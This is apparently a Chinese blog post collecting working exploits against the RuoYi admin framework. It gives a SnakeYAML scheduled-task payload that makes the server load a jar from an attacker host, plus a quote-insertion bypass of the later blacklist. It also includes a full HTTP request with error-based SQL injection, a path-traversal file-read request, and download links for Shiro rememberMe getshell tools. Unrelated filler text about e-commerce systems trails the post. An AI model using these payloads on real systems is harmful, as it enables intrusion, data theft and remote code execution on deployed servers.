若依系统前后台漏洞大全

0.若依项目搭建

0.1修改/获取项目启动端口

image.png

0.2创建数据库

启动mysql服务,并创建数据库 ry
image.png
之后在将这两个SQL文件导入到ry数据库中
image.png

0.2修改连接数据库的用户名和密码

接着修改连接数据库的用户名和密码
在这里插入图片描述
然后用idea启动即可
image.png

1.后台-定时任务-RCE

1.1漏洞简介RuoYi<4.6.2

漏洞影响范围RuoYi<4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

1.2漏洞利用步骤

这个跟springboot的Actuator配置不当引起的rce很类似
也是让其远程加载一个yml文件.

接下来具体操作一下…

下载payload
https://github.com/artsploit/yaml-payload 
下载完成之后我们修改一下 AwesomeScriptEngineFactory.java 这个文件
image.png
(mspaint为打开画图板)
我们切换目录image.png

编写yaml-payload.yml文件(没有的话,自己创建即可)

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

image.png

然后在该目录下打开powershell 或 命令提示框
image.png
然后输入命令

    javac src/artsploit/AwesomeScriptEngineFactory.java    //编译java文件

    jar -cvf yaml-payload.jar -C src/ .             //打包成jar包

然后就会生成一个 yaml-payload.jar的jar包

注意第二个命令 yam-payload.jar的jar包要与 yaml-payload.yml访问的jar包名称一一对应
至此,我们的payload已经修改完成了

这里有,java1.8编写好的paylaod
链接:https://pan.baidu.com/s/1EibFBVz4PfT7dSKyz6q_Ew
提取码:9999

okk,这里咱们直接用python开启一个简单的http服务
image.png

我们进入若依 的后台页面之后添加一个定时任务
image.png

然后添加payload
image.png

    org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击机ip/yaml-payload.jar"]]]]')

(不止这一种方法,我们现在用的是snakeyaml方式,这个我比较熟
另外两种方式,好像有
image.png
)

然后添加cron表达式:image.png


0/10 * * * * ?

这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间

配置好之后,并不会启动定时任务
image.png
image.png
(尽量使用"执行一次"检验)

执行之后,即可执行命令 mspaint(弹出画图板)
image.png

1.3版本4.6.2<=Ruoyi<4.7.2

这个版本采用了黑名单限制调用字符串

  • 定时任务屏蔽ldap远程调用
  • 定时任务屏蔽http(s)远程调用
  • 定时任务屏蔽rmi远程调用image.png

Bypass
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式
例如:
org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’://127.0.0.1:88/yaml-payload.jar”]]]]’)
加引号
image.png

2.后台-SQL注入 Ruoyi<4.6.2

我们访问下图所示的菜单
image.png
然后刷新,拦截,改包
image.png

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
User-Age
nt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 181
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/system/role
Cookie: UMK8_2132_ulastactivity=fdf6lh5P4KaIR7rPwncVmGmx5z2ymLLNz3o33msgkFJlQ1SdH%2FhR; UMK8_2132_lastcheckfeed=1%7C1637287051; UMK8_2132_nofavfid=1; JSESSIONID=d9eca4a4-7fcd-41ba-9888-75e7c73dc9bf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image.png
(即可触发报错注入,获取数据库名称)

3.后台-任意文件读取 Ruoyi<4.5.1image.png

GET /common/download/resource?resource=/profile/../../../../../../../.txt HTTP/1.1

(我在D盘的根目录创建一个.txt文件,其内容为"这是D盘")

4.前台-shiro-RCE

shiro是若依的其中一个组件,咱们使用shiro的经典rememberMe漏洞来getshell
下面使用工具
image.png
(这个工具挺好用,还能冰蝎/蚁剑之类的吗,从而getshell)
工具-链接:https://pan.baidu.com/s/1vLaOQONJvO2Yeb5psnswqw
提取码:9999

(这个工具挺好用,还能冰蝎/蚁剑之类的吗,从而getshell)
工具-链接:https://pan.baidu.com/s/1vLaOQONJvO2Yeb5psnswqw
提取码:9999

  • 11
    点赞
  • 63
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
根据提供的引用内容,以下是两个关于电商后台管理系统的参考文献: 网络的广泛应用给生活带来了十分的便利。所以把电商后台管理与现在网络相结合,利用node技术建设电商后台管理系统,实现电商后台管理的信息化。则对于进一步提高电商后台管理发展,丰富电商后台管理经验能起到不少的促进作用。 电商后台管理系统能够通过互联网得到广泛的、全面的宣传,让尽可能多的用户了解和熟知电商后台管理系统的便捷高效,不仅为群众提供了服务,而且也推广了自己,让更多的群众了解自己。对于电商后台管理而言,若拥有自己的系统,通过系统得到更好的管理,同时提升了形象。 本系统设计的现状和趋势,从需求、结构、数据库等方面的设计到系统的实现,分别为后端实现。论文的内容从系统的设计、描述、实现、分析、测试方面来表明开发的过程。本系统根据现实情况来选择一种可行的开发方案,借助node编程语言和MySQL数据库等实现系统的全部功能,接下来对系统进行测试,测试系统是否有漏洞和测试用户权限来完善系统,最终系统完成达到相关标准。 电商后台管理系统,包括课题背景、总体设计、需求分析,结果分析,总结,致谢等。商城系统后台管理除了在功能性上有必要的更新之外,他的便捷可以节省维护、操作人员的工作时间,并且相应的提高工作效率和工作进度。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值